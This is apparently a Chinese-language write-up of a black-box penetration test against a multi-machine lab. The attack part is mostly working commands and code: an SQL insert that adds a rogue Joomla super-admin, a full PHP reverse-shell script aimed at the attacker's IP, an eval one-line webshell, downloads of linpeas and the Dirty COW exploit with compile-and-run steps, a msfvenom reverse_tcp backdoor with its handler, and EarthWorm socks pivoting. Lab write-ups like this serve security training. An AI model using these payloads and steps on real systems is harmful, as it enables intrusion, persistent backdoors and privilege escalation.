环境搭建

我们下载后会拿到5个靶机,一个搭在centos上的web机,一个搭在Ubuntu上的web机,一台个人pc机,,一台win2008以及一台Windows server 2012,如下所示

image-20241121191709919

网络拓扑图如下所示,其中IP不一定是真实IP,仅供参考

image-20241121191845225

注意,靶机解压后千万别启动后千万别再关机,因为这个靶机的初始状态就是挂起的状态,然后有些机子我们是已登录的,我们这次的渗透测试的机子都是不知道密码的,属于一个黑盒测试,如果我们关机就失去一些机子的登录状态了

当然,可能大家在搭建环境的时候会和我有一样的疑问,如果不能关机怎么调整虚拟机的网卡配置,这困扰了我一晚上,在我几乎绝望的时候,找到了可以不关机调整网卡的地方,如下所示

17d0dfd0fe355f3042c583bb06687a27

image-20241121233625981

更改自己的网卡即可

web-centos

web-centos具有两张网卡,一张网卡NAT模式,另外一张网卡仅主机模式,网段设置为192.168.93.0

我们进入后执行service network restart,重新为我们的虚拟机分配一个外网IP,我们的web-centosIP设置信息如下

192.168.93.100 内网IP
192.168.20.142 外网IP

对于其他机器,我们均配置为192.168.93.0/24网段,这里值得一提的是,我们的web-Ubuntu是ngnix反向代理,必须得开着这个服务器才能正确访问我们的web服务,不然会显示502 badgateway,我们配置好这些后,去访问我们的外网IP,出现下面的结果我们就算成功

image-20241122000012668

我们的环境搭建结束,接下来我们就可以开启我们的渗透了

外网边界探测

信息收集

首先我们使用arp-scan -l扫描一下外网IP,虽然我们已经知道了,但是还是得模拟一下实战,进行这一步操作,如下所示

image-20241122000319933

这里我们的IP为192.168.20.142,我们接着使用fscan进行端口扫描,如下所示

image-20241122135113986

我们发现开放了80端口、3306端口和22端口,我们首先从80端口入手,看看能不能发现什么信息

image-20241122135324789

我们可以知道这是一个Joomla的cms,我们第一步就是去找版本号,如果是低版本的直接就找nday梭哈了,我们选择使用msf进行指纹识别,如下所示

use auxiliary/admin/http/joomla_registration_privesc

image-20241122141928834

我们发现没有账号密码我们探测不到什么有用的信息,换一个工具试试,我们用kali自带的joomscan进行探测,如下所示

image-20241122144159727

我们发现版本号为3.9.12,版本比较高,且在msf中没有可以利用的点,我们只能尝试登录到管理员账户,在管理员账户中做手脚

这里值得注意的是,我们在之前的fscan中,fscan自动帮我们爆破出来了数据库的密码,如下所示

image-20241122142030442

我们尝试连接,发现可以连接上,我们直接在数据库中进行管理员账号密码的查询,我们查询到了一个超级用户的账号密码

image-20241122143113877

但是我们尝试了一下,发现这个加密字符串并不能被解密出来,那我们就尝试利用数据库添加一个超级用户,如下所示

INSERT INTO am2zu_users
(name, username, password, params, registerDate, lastvisitDate, lastResetTime)
VALUES ('Administrator2', 'admin123',
'433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT', '', NOW(), NOW(), NOW());
INSERT INTO am2zu_user_usergroup_map (user_id,group_id)
VALUES (LAST_INSERT_ID(),'8');

我们这里设置的账号密码为admin123:admin,我们尝试去登录后台账户,我们在前期的信息收集中已经收集到了后台登录的地址,如下所示

image-20241122150710373

我们尝试登录,发现成功登录到后台,我们接下来就可以利用管理员功能进行getshell

模板文件getshell

我们尝试去编辑模板文件,如下所示

image-20241122151204060

我们直接修改index.php文件,在里面插入反弹shell语句,如下所示

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.20.138'; // CHANGE THIS
$port = 9001; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

我们切换模板后重新加载主页面,如下所示

image-20241122152336394

我们发现并不能反弹shell,我们尝试用蚁剑连接吧,在模板文件中创建加入一句话木马

<?php eval($_POST['attack']);?>

我们用蚁剑连接,发现成功登录上去,如下所示

image-20241122153110380

我们直接通过蚁剑进行命令执行

image-20241122153219866

我们发现命令执行失败,而且很奇怪的是,我们的web服务明明是搭建在centos系统上的,但是给我们返回的内核时Ubuntu,这个时候我们就可以知道是做了ngnix反向代理,即我们访问的实际上是这个ngnix代理服务器,代理服务器会去帮我们找实际上资源存在的服务器,而为什么会出现不能执行命令的情况,肯定就是开启了disable_functions,我们的蚁剑有专门绕过这个的插件,安装即可

image-20241122164541994

由于这个操作系统内核版本较高,所以我们暂时先不考虑从这里进行提权,我们想办法找到web机的权限,我们遍历一下目录,在/tmp/mysql/test.txt文件中有账号密码wwwuser/wwwuser_123Aqx,我们猜测这就是那台web机的账号密码,我们使用ssh协议直接登录即可

web机提权

image-20241122165330581

我们成功使用账号密码登录进去了,这里我们如果要能上传我们的恶意文件,我们肯定要获得root权限,所以我们这里考虑进行提权,我们首先看看sudo提权,我们执行如下命令

sudo -l

image-20241122170048397

我们这个用户没有sudo权限,自然就不存在sudo提权,我们接下来看看suid提权,我们执行

find / -perm -u=s -type f 2>/dev/null

image-20241122170221742

并没有我们可以利用的点,我们尝试下载linpeas.sh进行自动化漏洞检测,我们执行如下命令

wget http://192.168.20.1/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

image-20241122170820208

我们发现这里存在系统版本漏洞,我们尝试使用dirtycow进行提权,如下所示

脏牛提权

wget https://www.exploit-db.com/download/40611 --no-check-certificate

我们下载的是一个C语言代码,所以我们先要给其编译一下,我们执行如下命令

gcc -pthread dirty.c -o dirty -lcrypt
chmod +x dirty
./dirty

image-20241122172032638

执行后会让我们输入新密码,我们设置为123456即可

image-20241122172532431

之后我们登录到firefart用户即可,如下所示

image-20241122172627314

我们成功获得root权限,接下来我们可以直接进行内网渗透了

内网渗透

我们首先打开我们kali上的msf,通过msf生成一个后门木马文件,如下所示

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.20.138 LPORT=4445 -f elf > shell.elf

我们再通过xshell上传到我们的靶机中,如下所示

image-20241122191616489

我们在msf中开启监听,输入如下命令

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.20.138
set LPORT 4445
exploit

之后我们去靶机上运行我们的后门文件,就可以在我们的msf上监听到靶机信息

image-20241122192719642

我们成功拿到shell权限,我们现在试着去和CS联动

内网信息收集

我们首先执行ifconfig命令查看内网信息,如下所示

image-20241122195827609

我们发现存在192.168.93.0/24网段,这就是我们要找的内网,我们先尝试给msfconsole添加一个路由

use multi/manage/autoroute
route add 192.168.93.0 255.255.255.0 3

image-20241122200152679

但是我们这样只有msfconsole可以进入到内网中,如果要其他程序也进入到内网中,就需要我们手动给我们的主机配置代理,我们先下载一个内网穿透工具,如下所示

git clone https://github.com/idlefire/ew.git
chmod +x ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 1234

我们使用earthworm搭建socks反向代理,通过1080端口,将本地流量转发出去

-l 指定本地监听的端口
-e 指定要反弹到的机器端口
-d 指定要反弹到机器的IP
-f 指定要主动连接的机器 ip
-g 指定要主动连接的机器端口

image-20241122201423446

通过xftp工具上传./ew_for_linux64文件到centos的/tmp下

使用xshell工具在centos上执行如下命令

chmod +x ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.20.138 -e 1234 //192.168.20.138是攻击方IP

image-20241122201709608

看到以上的图片说明我们代理建立成功,之后我们将socks5 服务器指向 127.0.0.1:1080

image-20241122202356250

当我们验证的时候,出现如下界面就说明我们成功连到对方的内网上

image-20241122202512472

接下来我们使用msf自带的模块探测存活主机,如下所示

image-20241122210424054

发现192.168.93.10主机WIN-8GA56TNV3MV

发现192.168.93.20主机WIN2008

发现192.168.93.30主机WIN7

前面已知192.168.93.100主机Centos

还有已知192.168.93.120主机Ubantu,我们再次分别用fscan分别扫描,可以发现都开放了445端口,所以我们尝试使用永恒之蓝漏洞

image-20241122210744971

use scanner/smb/smb_ms17_010

我们先用scan模块探测一波,看看是否存在永恒之蓝漏洞,后面的我代理崩了,但是我看了一下别人的wp,我这里有一个大致的思路

思路阐述

我们可以爆破出其中一台机子的密码,然后我们拿到shell权之后可以尝试上传mimikaz抓取密码,当然,我们也可以cs监听,通过cs来进行横向渗透,然后拿下其他主机的控制权,这里就不进行演示了,是我们最初的环境没有搭建好